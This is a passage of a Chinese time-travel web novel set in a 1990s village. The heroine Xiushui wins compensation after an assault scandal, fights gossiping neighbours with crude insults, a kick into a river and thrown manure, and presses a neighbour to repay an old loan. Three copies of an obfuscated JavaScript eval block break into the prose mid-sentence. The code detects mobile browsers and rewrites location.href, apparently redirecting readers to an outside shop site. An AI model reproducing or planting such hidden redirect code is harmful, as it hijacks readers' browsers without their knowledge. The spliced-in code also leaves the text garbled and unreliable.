九十年代,法律法条对王仁芳这种造谣生事的人也没什么威慑力。秀水能做的,无非是把人狠揍一顿,再索性把事闹大,好争取谈判赔偿的筹码。 “让他给我道歉,再赔偿五千块钱,否则免谈!”秀水按照印象中的物价,随口说了个数目。 刘瑞英听得心惊肉跳,刘文强也怔住了,“好大的口气!你这不是明摆着讹人吗?” 秀水懒得跟他多费口舌,伸手捂住了胸口,“哎哟我胸口疼!一想到他们家那么冤枉我,我就胸口闷。已经落下后遗症了,我后半辈子都毁了……” 刘瑞英慌了,忙上来帮她揉胸口,“要不要紧?我去叫医生过来看看!” 刘文强站在旁边有些尴尬。就见秀水又捂额头,“他们把我害成这样,五千块钱算什么?哎哟我头也疼……” 见此情形,刘文强勉强道:“那我去那边说说看。” 他又朝刘瑞英使眼色,让她跟自己出去。两人在走廊站着,刘文强小声道:“姐,孩子不懂事,你们大人也该拿个主意,别什么都依着她……” 刘瑞英也觉得五千块钱是个天文数字,按她先前的想法,对方能赔礼道歉,再赔个医药费就算不错了。但秀水既然开了口,当妈的总不能拖后腿,想到这儿,她心一横,也坚定起来,“我孩子不能白受这个苦。他们家里到现在都没人来看看我们呢,王仁芳还把我们骂得狗血淋头。怎么的?我们就活该被欺负?” 刘文强觉得姐姐也变得胡搅蛮缠了,“姐,要这样想的话,你们就自己去跟李局长那边说去。我不管了,这总行吧?” 要照以前,刘瑞英听了这话肯定会服软。但今天她被短暂的胜利冲昏了头脑,竟然格外硬气,脱口道:“那也行,我占着理儿,我怕什么?就让李家人来找咱们好了。” 刘文强跟他姐也说不通道理,只得悻悻而去。刘瑞英却又越想越心虚,回病房劝秀水:“就依了他们,给你在城里安排个工作不好么?” “他说一年以后包转正,你就信啊?”秀水冷笑一声,“咱们家没人,进了城还不是随便他拿捏!到时我转不了正,找谁去?再说还得转商品粮,家里哪儿来那么多钱?” 刘瑞英转而自怨自艾,叹气道:“这都是我们当父母的没本事,有进城的机会却抓不住……” “您就别惦记进城了,我不想进城,”秀水提醒她,“等舅舅回完话,王仁芳不定怎么过来闹呢。” 刘瑞英忙打起了精神,嘴硬道:“我不怕她闹。咱们占着理,怕什么……” 晚上等秀水睡了,刘瑞英也躺在旁边硬床板上,想到刘文强说的工作,不免有些不舍;又想起王仁芳的难缠和刻薄,心里又实在烦闷,翻来覆去睡不着。到了后半夜,忽听秀水断断续续说起梦话来。 “妈,他们冤枉我。” “我不想当保姆了。” “我要回家。” …… 声音小小的,刘瑞英却是听清楚了,顿时又痛又悔。她削尖了脑袋想让女儿进城,没想到反而害了她! 第二天是星期天,早上医生来查房,认为秀水恢复得很好,过两天就可以出院了。刘瑞英这才有些高兴。等医生们出去了,病房外又进来一个十四五岁的女孩,正是秀水的妹妹喻秀竹。 “妈,姐!”秀竹骑车来的,一头的汗。她把手里的竹篮递给母亲,便去床前看她姐,“好些了吗?能吃饭了吗?我早上熬了粥的。” 刘瑞英揭开竹篮上盖的毛巾,下头的饭盒还是温的。她忙把粥端出来,给秀水喝上头的米汤,“还是只能吃点稀的,你姐都饿瘦了。” 秀竹忧心道:“不吃点好的怎么行?身体怎么能恢复啊?” “等出了院再说,”刘瑞英道:“回家了杀只母鸡给你姐补补。” 秀水想到鸡汤,口舌生津,笑道:“你舍得?” 家里的鸡和鸡蛋都是要卖钱的,好攒着等以后盖砖瓦房。刘瑞英听女儿奚落她,忍不住翻个白眼,“回家就杀,总行了吧?让你们两姐妹过过馋瘾!” 她边吃早饭,边问起家里的情况。正是农忙时节,家家都在砍油菜、割小麦、整田插秧。家里只剩喻庆山一个劳动力,半夜都在地里忙。秀竹见她妈惦记着家里,便主动请缨:“今天我陪姐姐,妈你回去一趟吧。” “那可不成!”刘瑞英又担心王仁芳上来欺负秀水,“姓李的还住楼下呢。” “你回去吧。”秀水也说:“他们又吵不赢我!难道还敢打我不成?医生护士都在这儿,我量她没这个胆儿。” “还有我呢!”秀竹忙保证道:“我好好守着姐,不准他们进来!” 刘瑞英也着实惦记着家里的农活,想了想便交代秀竹:“你一步也别离开。等我回去一趟,马上就来。” 三人商量好了,刘瑞英便急急忙忙地骑车回家了。护士给秀水打了针,病房安静下来。秀竹坐在床边,看了会儿输液管的滴壶,忽然轻声道:“姐,你吓死我了。” “我做了好多恶梦,”她说着眼圈红了,“很吓人的恶梦……,姐,你别再做那种傻事了……” 她姐住院这几天,家里离不开人,喻秀竹白天去上学,回家要喂猪喂鸡、烧火做饭。晚上惦记着她姐,心里七上八下的。可能是日有所思夜有所梦,一连好几夜,她都做了些恐怖的梦,跟电视连续剧似的。 梦里她姐没抢救过来,死在了医院。她爸妈去李家讨说法,被骂了回来。她妈总是说自己不该送女儿去城里,在家哭了两场,趁人不备上了吊。她爸那么温和的人,跟疯了似的拿着刀,跑去把李小勇砍死了,自己也一身是血,被抓起来判了重刑…… 秀竹每次醒来都一身冷汗,闭上眼就仿佛看到了她姐青黑的脸、母亲晃荡的身体、父亲脸上的血……直到来医院,看到姐姐还活着,看到她和她妈有说有笑,她才真正松了口气。 但她还是非常害怕。眼泪不知何时从她的眼睛里漫出来,她抽着鼻子,哽咽着说:“姐,你可不能死。你要是死了,我们这个家就散了……” 秀水在心里叹了口气,略显笨拙地安慰她,“放心,我不会再做傻事。我会好好活着。” 有了她的保证,秀竹的眼泪总算止住了。她有点不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722566|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思,看了秀水一会儿,说:“姐, 你喝水吗?我去打开水。” “还有衣服没洗。”秀水指使她。 “好!我马上来洗!” 笼罩在秀竹身上的阴霾消失了,她迈着轻快的脚步,里里外外忙碌起来。等把洗好的衣服晾完,她刚回病房,就见门外冲进一个四五十岁的凶女人。 “喻秀水,你要不要脸?你还准备狮子大开口是吧?” 秀竹赶紧拦着她,鼓起勇气嚷嚷:“你谁啊,快出去!” 王仁芳把她朝旁边扒拉,指着秀水喊:“张口就敢三千五千地要,你照照镜子,你有那么值钱?外面被人睡的,也就几十块钱的价!” 秀竹气红了脸,正要开口,就听她姐在后面阴阳怪气,“哟,这么清楚价钱?你出去卖过?” 秀竹惊诧地瞪大了眼睛,心里却一阵快意。王仁芳气得发疯,“你别指望拿到钱!你去打听打听,我是那种好欺负的人?明告诉你,我一分钱不给,你又能拿我怎么样?” “那你认识县城的王大刀疤吗?”秀水冷冷道:“你去打听打听,问问他答不答应!” 王仁芳怔了一下,“王大刀疤”这个绰号明显带有混社会的性质。想到儿子受的伤,她顿时不确定了,难道这家人还真认识什么狠人? 毕竟就连警察都说了,打小勇那人的手法太专业了,就是奔着把人打残的目的去的。 “你少吓唬人!老娘也不是吓大的,”王仁芳佯装镇定,“现在是新社会了,我怕你那套?” “那你还是被打少了。”秀水冷笑:“下次就不是断胳膊断腿了,下次打掉你一嘴牙,让你嚼舌头!” “你让他来打我试试!”王仁芳跳着脚骂:“你来试试!” 要不是在医院,秀水现在就想试试。正按捺不住脾气,秀竹高喊:“医生,这里有个疯子!快来人哪!” 闻声而来的护士也很生气,“怎么又是你?回你病房去!” 等王仁芳走远了,秀竹才回来,在床前坐下,沉默片刻问:“姐,王大刀疤是谁?” “随便编个名字骗她的。”秀水说。 秀竹震惊地看着她,秀水狡黠一笑,“没想到吧?” 其实是有“王大刀疤”这个人的,不过那是秀水上一世的师父。老王同志开着一家武校,因为脸上有道长长的疤痕,才得了这么个浑号。这道疤让他显得很凶狠,只有秀水这些资深学员才知道,老王是个多么心软的男人。 按照上一世的时间线,老王和师娘现在还不知道在哪个厂里打工。要等两三年,两口子才会回到家乡筹办武校,那时她才能跑去找他们,——但她现在可真想他们啊。 等到一九九五年,秀水才会迎来自己的出生。上辈子她在养父母和亲生父母之间辗转流落,遭到了双重的遗弃。如果没有师父和师娘,能不能活下来都是个问题。那时秀水经常想,要是有机会穿越了,她要自己把自己养一遍。 没想到,这个愿望竟然有可能变成现实。 不过在那之前,她要挣很多钱才行。毕竟这个叫秀水的小姑娘真的太穷了。就算是九十年代,要想好好养大一个孩子,也要花钱啊。 5. 第 5 章 有了“王大刀疤”这个神秘嘉宾的助力,谈判终于有了结果。王仁芳没再来闹事,转而把线索提供给张警官。老张多方了解后,发现县城并没有“王大刀疤”这号人物。现场找不到目击者,又不是命案,派出所哪有那么多时间精力去调查?最后只能不了了之。 对于喻秀水报警一事,老张也劝当事人双方相互调解。虽说女方拿不出什么有力证据,但李小勇在逼问之下也承认,他深更半夜对人家女孩动手动脚了。哪怕王仁芳反复强调,那是对方勾引她儿子,真闹起来也是李家理亏。所以老张建议李家这边退一步,该赔的赔,该道歉道歉。 刘文强两边递话,经过几轮争吵,李副局长最终答应赔偿秀水的医药费和三千块钱。这年头三千块钱是一个城里人全年的工资,所以刘瑞英也就没再说什么了。 到秀水出院的前一天,刘文强陪着李局长,提了两盒麦乳精到医院来了。这几天李局长也憔悴了许多。想想从前,秀水还在李家当保姆的时候,孙子有人看,家务有人做,处处打理得井井有条,哪像现在家里乱成一团?想起这事的起因,他就对小儿子生出愤恨来,道歉的时候也带了两分真情实意。 “我们做家长的没有管好自己的子女,才给你们家惹了这些麻烦。”他对喻庆山说:“这回的事,对小勇也是个深刻的教训。看在他年少无知的份上,希望你们能原谅他。。” 刘瑞英却是看到王仁芳没来,有几分愤愤不平,“你家孩子欺负我姑娘,这是一桩事;你爱人冤枉我孩子,又是另一桩事。这又怎么说?” 刘文强忙朝他姐使眼色,“姐,王嫂子就是那样的脾气。平时她对秀水还是挺不错的……” 秀水在旁边却嗤笑一声:“别朝她脸上贴金,她就是个泼妇!烂人!谁家好人会这么朝别人身上泼脏水?” 李副局平时总觉得秀水是个只知道干活的闷嘴葫芦,如今闹翻了,才晓得竟也口齿伶俐。想了想,他索性展现了一番自己的大度,“王仁芳同志就是特别护犊子,只能说可怜天下父母心。但她的行为也确实伤害了你们。今天我也代她向你们说一声对不起。” 话说到这份上,刘瑞英也不好说什么了。秀水却憋着一腔坏主意,想给王仁芳埋雷。她一脸真诚地说:“李局长,你是个好人,又有学识,又有教养。怎么会娶了王仁芳那个搅家精的?” 李局长有苦难言,当年要不是看王家成份好,他又怎么会结这门亲?就听秀水又说:“我劝你早点跟她离婚,别被这种人把家给整垮了!” “你一个姑娘家,怎么动不动劝人离婚?不过今天我也要说句不好听的话,”刘瑞英无意中和秀水打了个配合,“你一个当官的,怎么爱人连挑大粪的都不如。走出去人家不笑话么?” 刘文强忙杀鸡抹脖给他姐使眼色,李局长却只叹了口气,扯两句闲话,便把东西和钱放下,到楼下结算医药费去了。刘文强忙也小碎步跟着去了。等人走后,秀水拿起桌上的钱点了点,从里面拿出一千元,剩下的给了刘瑞英,说:“这钱我留着,以后做点小本生意。” “你就留着,”这钱本来就是女儿的营养费和工资,刘瑞英也就没说什么,只是问:“你想做啥生意?” 秀水还没想好,便道:“啥生意能挣钱?” 这个问题把刘瑞英难到了,她叹了口气,说:“做啥生意都难。你忘了?你爸早先贩桔子卖,连车带筐都被城管收走了。后来想着城里有人管,那就到乡下卖冰棍去。本来就利润薄,他还不好意思收熟人钱,最后算帐还亏了。倒是我喂两只鸡,攒几个蛋还能挣点油盐钱。” 秀水听了也叹气,这是什么倒霉生意经?忽然想到以前看的穿越小说里有捉鱼摸虾的情节,忙问:“那龙虾呢?捉龙虾卖行不行?” “现在都分田到户了,谁家肯让你去地里捉龙虾?”刘瑞英道:“你还是先养好身体吧,别整天东想西想的。” 第二天就是出院的日子,喻庆山大清早骑着车赶过来,后座上还用绳子绑了一辆自行车。刘瑞英忙把李家来赔礼道歉的事情添油加醋地告诉了他。喻庆山没想到事情解决得这么顺利,连日来的烦闷和疲惫一扫而空。两个人在病房里里外外地收拾行李,把新买的毛巾、塑料盆等都装在网兜里。趁早上天气凉快,喻庆山骑车载着秀水,刘瑞英拉着行李,两辆车朝家驶去。 红英村在怀安县城西,穿过县城那条主街道,出了城门就是丘陵地带。一条沥青石子路弯弯曲曲,路边栽着高大的白杨树。旁边便是连片的农田和小块池塘,以及散落在缓坡上的村庄。 正是农忙时节,处处农田都有人,有的忙着割油菜,有的忙着整田耙地。连路边的狗都走得行色匆匆。 顺着沥青路骑了快两个小时,喻庆山和刘瑞英才拐进一条崎岖不平的泥巴路,爬了道坡又拐了道弯,十几分钟后才终于抵达红英村。 村庄有三四十户人家,房屋大多顺着路修建。喻家就住在村子的最南边。路是泥巴路,房是土砖房,看起来有些年头了。窄窄的三间正房,中间是堂屋,旁边两间卧室,一间夫妻俩住,一间姐妹俩住。正房前有一间小小的厨房。 房前有晒谷场,屋后是竹林。旁边就是菜地。处处都收拾得很整齐。 这栋房屋还是喻庆山结婚时,家里人给他盖的。就算在红英村,也算条件简陋的了。因为既没有砌厢房,也没有盖院墙。更何况红英村现在很多人家都盖了新房,用窑场烧制的红砖砌墙,屋顶是崭新的机瓦,墙面刷上石灰后,走进去亮堂堂的。有一户甚至盖了幢两层楼的楼房,新居落成那天,全村人都去参观了的。 刘瑞英现在最大的梦想,就是在秀水结婚前,把自家房子也翻新一下。她倒是没想过盖楼房,没有那个实力,但盖三间宽敞的砖瓦房还是可以的。到时候再修两间厢房,让两个女儿一人一间卧室。给孩子说亲事的时候,客人来了看着也体面。 回到家里,秀竹已经上学去了,厨房的锅里却温着做好的饭菜。秀水照例喝稀饭,喻庆山和刘瑞英却是狼吞虎咽干了两大碗饭,便急匆匆下地去了。家里还有好几亩地的油菜没割完,两口子必须要抓紧时间,才能追上农忙的进度。 秀水慢条斯理吃完了饭,把碗洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722567|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,就在房前屋后转悠起来,一边走,一边拉伸着筋骨。她肠胃没恢复,吃得清汤寡水,稍微动一动就出了一身虚汗。 门前路上,不时有村民经过,见到她站在屋外,都会停下脚招呼一声:“秀水,今天出院了?” 秀水也大方回应:“是啊,刚回来。” 于是到了晚上,村里人就都知道喻家喝农药自杀的大女儿从医院回来了。过了两天,又有小道消息传开了,说城里人赔了喻家好几千块钱。有些眼窝子浅的村民便又是羡慕,又是嫉妒地说起了风凉话。 喻庆山和刘瑞英还不知道。一连好几天,他们都是清早下地、半夜才回。秀竹每天上学前,要把全家人的饭做好,还要喂猪。秀水虽然还是个病号,却也要承担些轻省的活计了。 在电饭煲、洗衣机这些家用电器还没普及的九十年代,人们光是维持日常生活就需要付出很多劳力,更别说现在是农忙了。每天刘瑞英赶早把全家人的衣服洗出来,等秀水吃完早饭,便提着竹篮,到河边去清洗衣服。 红英村旁边有条小河,河边某处修了一排石阶,供村里人在这里洗菜洗衣服。这里也是村里的情报交流中心,无论什么小道消息都可以打听到。 秀水还没走到地方,远远就听到噼噼拍拍的捶打声,夹杂着女人们的说笑。隔着一棵老柳树,就听一个女人大声说:“听说赔了五六千!啧啧!两个人只怕都睡在一起了吧?怪不得一回来就闹着要喝药呢!” 秀水听出这是杨定桂的声音,那是村里有名的泼辣货。另一个女人也感慨:“作孽哦!我就说进城哪有那么简单!说是去当保姆,指不定要怎么低声下气伺候人呢。” “要你操心!反正人家是挣到钱了。” “那种钱送给我我都不要!真不怕丑!那跟卖女儿有什么区别!” 秀水在柳树后停下脚,忽然就明白那个十七岁的女孩为什么那么害怕、那么绝望了。 她那么老实、那么单纯,总以为只要自己听话、懂事、勤快,就能博得父母的欢心、他人的尊重。但她不知道,有些人就是不惮以最大的恶意去揣测和中伤别人,仿佛别人陷在了污泥里,他们就站上了道德制高点。 幸亏,她也不是什么容易被人拿捏的好人。 她提着竹篮,转过那棵老柳树,来到了河边。石阶上蹲着五六个妇女,正一边用棒槌捶打衣物,一边大声交谈。在看到秀水后,喧闹声立刻静了下来。片刻后才有人朝她打招呼:“哟,秀水,过来洗衣服啊?” 秀水似笑非笑看着她们,说:“是啊,刚才好热闹。你们都在说什么啊?” 女人们各自交换着心照不宣的眼神,都沉默下来。又有人说:“没说啥,就瞎聊天呗。” 秀水放下手中竹篮,径直朝杨定桂走过去,“你刚说什么?挺有意思的,说给我听听。” 杨定桂笑了一声,扭头去捶衣服,轻描淡写地说:“我敢说,就怕你不敢听……” 话音未落,秀水已经抬脚朝她后背踹去。“扑通”一声巨响,溅起老大水花。岸边的女人们也纷纷惊叫了起来。 6. 第 6 章 趁着河边一片混乱,秀水把台阶上的竹篮和衣服都往河里扔。岸上的女人们一边惊叫,一边手忙脚乱地抢救河里的衣服。 “我的衣服!哎呀衣服都漂走了!” “疯了疯了,这丫头硬是疯了……” 靠河岸的水不深,杨定桂挣扎着从水里站起来,衣服透湿,紧贴在身上。她抹抹脸上的水,一边破口大骂,一边往岸上爬。秀水却又随手操起一根棒槌,把她朝河里驱赶。 “你还想上来?快洗洗你那脏嘴吧,比大粪都臭!”她挥着棒槌冷笑,又看着想来劝架的两个女人,“都给我把嘴闭上!谁敢过来,我让她一起下河!” 女人们简直惊呆了。反了反了!一个姑娘家,竟然比老婶子们还泼辣,以后还打算出嫁吗? “你这个死丫头,疯婆娘,没人要的野种,你到底要干啥?”杨定桂在河水里泡着,气得发疯,骂出来的话也污浊不堪。秀水听了,一点也不急,气定神闲地守在岸边。她往左走,秀水就往左;她往右走,秀水也往右。反正是拦着不让她上岸。 僵持了十来分钟,终于有人过来劝架了,“算了算了,小心冷出病来!快让人家上来!” “冷死她活该!”秀水终于开骂了,“一个个舌头怎么那么长呢?你们也是女人,也有女儿,别人这么背后议论你,议论你女儿,你们也算了?” 她泄愤般把杨定桂的篮子和衣服全部扔进河里。杨定桂大急,忙着在河里捞衣服捞篮子,后来到底是走到旁边,抓着河岸上的野草爬上来了。 “老娘今天跟你拼了!”她气势汹汹跑过来,一副要跟秀水搏命的架式。 “你来啊,你来!”秀水指着她目露凶光,“来一次我踹你一次!以后只要我看你在河边,我就踹死你!你们不是觉得我疯了吗?对,我就是疯子!疯子打人不犯法!砍死你都不用坐牢!” 众人从来没见过秀水这副表情,跟要吃人似的,都生了点惧意。几个女人见势不对,怕真打起架来,连忙死活拉着杨定桂,“算了别跟她一般见识,快先回家换衣服去!小心着凉!” “有人生没人养的东西,我不跟你说,我只找你父母算账!”杨定桂跳着脚痛骂,但因为衣衫狼狈,到底失了气势,最终还是被人劝着,提了篮子回家去了。 岸边安静下来。秀水这才蹲在石阶上,把竹篮里的衣服拿出来清洗。 等到中午时分,刘瑞英和喻庆山从田里回来时,秀水已经在灶上炒了两个菜,端到桌上大家一起吃。还没来得及把上午的事告诉刘瑞英,远远的就见杨定桂从路上过来了。 杨定桂虎着脸,在喻家晒谷坪边站定,开始声如洪钟地叫骂:“没人管的野杂种!不要脸的贱货!撒泼撒到老娘身上来了,我咒你一辈子嫁不出去……” 刘瑞英既惊且怒,忙回头看秀水。秀水告状:“她早上在河边骂我!” 刘瑞英来不及了解情况,便出门应战,“这是你当长辈该说的话?我孩子有错,你只该教导她,你怎么骂这么难听?你没有儿女吗?” 杨定桂叉着腰骂:“我可没有这样的儿女!被人破了身子,还有脸在村里晃!我要是她,早就找根绳子上吊了!” 刘瑞英一下子红了眼,对骂道:“放你妈的屁!我姑娘好着呢!老泼皮,狗都嫌!你死了都没人埋!” 在后面跟出来的喻庆山也气得说:“咋能这样说话!你这叫人话吗!” 杨定桂丝毫没把两人放在眼里,“我死了没人埋?我生了两个儿子,不像你,儿子都生不出来一个!死了只能丢野地里喂狗!” 刘瑞英被戳中痛处,顿时眼泪都下来了,勉强道:“你有儿子又怎样?你儿子又笨又丑,没一个姑娘愿意嫁……” 两边正吵着,秀水忽然提着一个桶过来了。她径直走到两人中间,从桶里拿出个大勺,扬手就朝杨定桂泼去。顿时恶臭袭来,原来那是一桶大粪。 “哎呀我的衣裳!”杨定桂惊叫,朝秀水扑过来,“老娘今天非捶死你不可!” 秀水扬手又是一勺大粪,精准地泼向她的头。杨定桂闭眼挨了这一下子,满头满脸的粪水,顿时疯了,哭着喊着说:“老娘跟你拼了!野杂种,狗日的!你等着……” 可惜她手上没有兵器,不但没扑上来,反被粪勺敲打了好几下。那粪勺打的地方也巧,不是在关节,就是在头上脸上。杨定桂糊着一身粪,半点便宜没占到,于是号啕起来:“看哪!看哪!喻家打人啦!欺负人呀……” 周围乡邻们开始忍着恶臭前来劝架,“好了好了不要吵了!”“杨婶子你先回去换衣服,庆山把女儿拉开!”还有些跟杨定桂结过仇的,这时都在心里默默叫好,嘴上却假装劝解:“你不骂她,她也不得泼你!好了乡里乡亲的都退一步!”“哎呀老喻一家子多老实啊,这是把人家逼急了!” …… 秀水手持粪勺,威风凛凛地道:“各位乡亲邻居,大家评评理!杨定桂今天在河边骂了我,我没跟她计较;现在又欺到我家门口。这个搬弄是非的长舌妇、搅屎棍!天天在人背后搅弄是非!谁的坏话她没说过?我今天非为民除害不可!以后再看你嚼是非,我见一次打一次!打到你服气为止!” 杨定桂从没在村里吃过这种亏,气急了只管满嘴胡骂。大家满脸嫌恶地看她顶着一头一身的脏污,劝架的时候还有人干呕了两声。最后杨定桂自己也觉得没脸,到底还是边哭边骂,回去洗头洗澡换衣服了。 等人散了,喻庆山拿出扫帚,清扫起泼洒在地上的粪便来。刘瑞英则帮着秀水把粪桶提到屋后,感觉自己又学到了一招。 一家人收拾干净了,重新洗手坐到桌前吃午饭。 刘瑞英想想还有些气,转头问秀水:“这个泼货,她早上又骂你什么了?只该把她那嘴塞粪坑里!” “好了,吃饭不要说这些。”秀水忙打断她。 刘瑞英又道:“她还嫌弃我生不出儿子!她不看看她生出来的是啥!儿子又丑又蠢,跟她一样!” 喻庆山给老婆夹了一筷子菜,赞同道:“她儿子给我姑娘提鞋都不配!” 刘瑞英立刻道:“就是!她再说什么,你别理她!下回我拿粪勺浇她一头!” 几天后,家里的油菜和小麦终于收完了,卖了一部分,留了一部分自家吃。刘瑞英得了空,让喻庆山换了几壶新榨的菜籽油,用新鲜小麦面挂糊,炸了一大锅南瓜叶。又终于兑现承诺,杀了一只老母鸡,炖了喷香的鸡汤。 晚饭时分,一家四口围坐在饭桌前,吃着香酥的炸南瓜叶,喝着鸡汤,听刘瑞英谈论起盖新房的事情来,这也是她最喜欢的话题。家里攒的钱,再加上次赔偿的钱,盖房工程基本可以启动了。钱肯定还不够,但农村建房谁不是靠借啊?亲戚支援一点,乡邻凑一点,七挪八拼的,房子总能盖起来的。 说到这个,刘瑞英倒是又想起自家借出去的钱,便对喻庆山说:“七队那个老张,儿子结婚时借了咱们五百块,四五年了也没提还钱的话。” 喻庆山叹气,“估计别人也有困难吧。” “他有困难,咱家就不困难了?”刘瑞英一提起来就生气,“当初就不该借他!也该上门催催了!” 喻庆山缓慢沉重地答:“好的。我过两天去。” 秀竹看她爸表情沉痛,又有点好笑,说:“爸,那是我们借出去的钱!又不是我们找别人借钱!” “你爸就是脸皮薄!”刘瑞英抱怨,“别人跟他诉个苦,他就不好意思提还钱的事了。照你这样,一百年也收不回来!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722568|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 喻庆山沉默吃饭,鸡胗在嘴里都不香了。 秀水看看他,又看刘瑞英,说:“咱家还有多少借出去的钱?都记下来,到时我跟爸一家家去要。” “不要你操心,你小孩子知道什么!”刘瑞英习惯性地反对,忽然想到秀水的战斗力今非昔比,忙又说:“你跟着去也行,给你爸壮个胆儿。” 吃完饭秀竹就拿出纸和笔,刘瑞英和喻庆山念名字,秀竹写在作业本上。加起来竟然有七八家,有借五百的,也有借三百两百的,都快有两千块钱了。秀水指了指第一个名字,说:“明天咱们就去要这五百块钱。” 喻庆山沉默无言,表情纠结。 秀水便笑,说:“一切有我。到了那里,你只管跟着我就行。” 第二天上午,喻庆山去地里忙了一圈回来,秀水才让他骑车载着,到老张家去。等到了地方,已经快到午饭时分了。老张刚从地里回来,张家婆子在厨房炒菜。看到喻庆山过来,两人亲亲热热把人请进来,又是递烟,又是端水,就是不提还钱的话。 喻庆山端着茶坐了好一会儿,正鼓足勇气准备开口,就听秀水说:“大爷,今天过来呢,为的是您五年前借的那五百块钱。咱家下半年准备盖房子,您看方便的话,就把钱还咱们家呗。” 老张一拍脑门,呵呵地笑道:“哎呀,我差点忘了!怪我怪我!兄弟,回头我就去镇上取了钱给你送过去!” 按照喻庆山平时的讨债流程,此时就可以告辞出门了。谁知秀水稳坐着不动,说:“大爷,哪能让您跑路呢?反正我们也没什么事,就在您家坐会儿,您吃了饭就去取钱呗。” 喻庆山震惊了。老张脸上的笑容有点僵,嗯嗯啊啊地没个准话。偏偏这时张婆子做好了午饭,在堂屋门口张望。秀水便道:“好香啊!正好饿了,大爷,要不中午我们就在您家吃一口?” 老张没见过这么厚脸皮的人,只好虚虚应下:“就在家吃!只是饭菜不成样子,怠慢了你们。” 秀水跑前跑后地帮着端菜盛饭,给她爸那碗饭盛得结结实实的。饭桌上,其余三人都有些沉默,喻庆山硬着头皮扒饭,只有秀水一边吃,一边跟老张两口子聊天。 “大妈,你这豆瓣酱自家酿的?好吃!送我一罐!” “大爷,这辣椒您家种的?长得真好!送我一点!” “大妈,今年您家菜籽打了多少斤?这是新榨的油吧?炒菜真香……” 喻庆山尴尬得脚趾头都快抠到土里去了,感觉女儿下一句可能就是“送我一壶”。幸好秀水停住了,把菜里仅有的几块腊肉都挑到他碗里,才又说:“爸,你吃饱点。要是钱没收回来,晚上我妈可不准你吃饭了。” 喻庆山艰难地朝老张夫妇笑笑,食不甘味地干了一大碗饭,吃完出了一身汗。 饭后老张和张婆子就把客人丢在堂屋里,两人去房里嘀咕。喻庆山独自坐着,呼吸都很艰难,就见他女儿在堂屋和院子里走来走去,自在地招猫逗鸡,一副不给钱就不走的架式。 最后老张终于从里屋出来了,跟喻庆山打了声招呼,就骑着车去镇上取钱了。傍晚回来后,他从包里取出一叠钱,鼻子不是鼻子脸不是脸地递了过来,“兄弟,这是五百块钱,你点点。” 喻庆山讪讪笑着,接过钱准备往口袋里装,秀水却道:“爸,钱过手,米过斗!关系再亲,也要当面点点嘛!” 她硬是从她爸手里把钱抠过来,一十二十地数了一遍,然后露出笑容:“大爷,没错,正好五百块,哎呀不好意思,真是麻烦您啦。” 然后她带着五百块钱,蝗虫过境似的卷了一大罐豆瓣酱、一兜子辣椒,坐上她爸的车往家走。路上喻庆山一直没怎么说话,今天这一天过得太刺激了,他必须得缓缓! 7. 第 7 章 当喻庆山把五百块钱交给老婆时,刘瑞英喜出望外,连忙给父女俩下了面,还一人煎了一个荷包蛋。 晚上停了电,饭桌上的煤油灯照着一家四口。就着灯光,刘瑞英把钱数了又数,说:“你去了两趟都没收回来,怎么秀水一去,他就给了?” 喻庆山便把秀水怎么要钱、怎么在老张家蹭吃蹭喝的经过粗略讲了一遍,刘瑞英和秀竹听得又好笑,又瞠目结舌。 “……还能这样要账吗?”秀竹崇拜地看着姐姐。 秀水从饭碗里抬头,略有遗憾地咂嘴:“本来还想留下来吃晚饭的,他家腊肉不错,鸡窝里还有鸡蛋。没想到老张那么快就还钱了。” 喻庆山听了也笑,“你都挖了他家的豆瓣酱,还想吃腊肉?” 秀水理直气壮道:“借咱家钱五年了,连句感谢的话都不说,吃他点腊肉怎么了?” “咱家也有腊肉!”刘瑞英忙说:“明天我给你们煎腊肉吃!” “你们是没看到,”秀水喝着汤说:“我去挖酱的时候,张婆子心疼得脸都抖起来了!” 喻庆山和刘瑞英都笑起来。秀竹看看姐姐,又看父母,昏黄的灯光里,他们笑得那么满足,让她也觉得非常开心和满足。 她已经很久没在父母脸上看到这样的笑容了。他们总是疲惫又无奈,尤其是父亲收账回来的时候。他的懊恼和自责、母亲的抱怨和伤心,一度成了这个家必不可少的组成部分。现在,这些都烟消云散了。 要是这一刻能永远留下来,该多好啊。 第二天他们真的吃到了煎腊肉。刘瑞英从吊在房梁的腊肉上切下一块,平时只有家里来了客人,她才会这么奢侈。她把腊肉切成薄片,挂上面糊,在锅里煎得两面金黄。咬开焦酥的外壳,里面是琥珀色的腊肉。又香又有油,全家人都吃得很满足。等吃完饭,喻庆山一鼓作气,带着秀水继续去讨债。 一路上,秀水对喻庆山进行了洗脑式教育,希望在短时间里增强他脸皮的厚度。 “他都好意思找咱们借钱,你有啥不好意思拒绝的…” 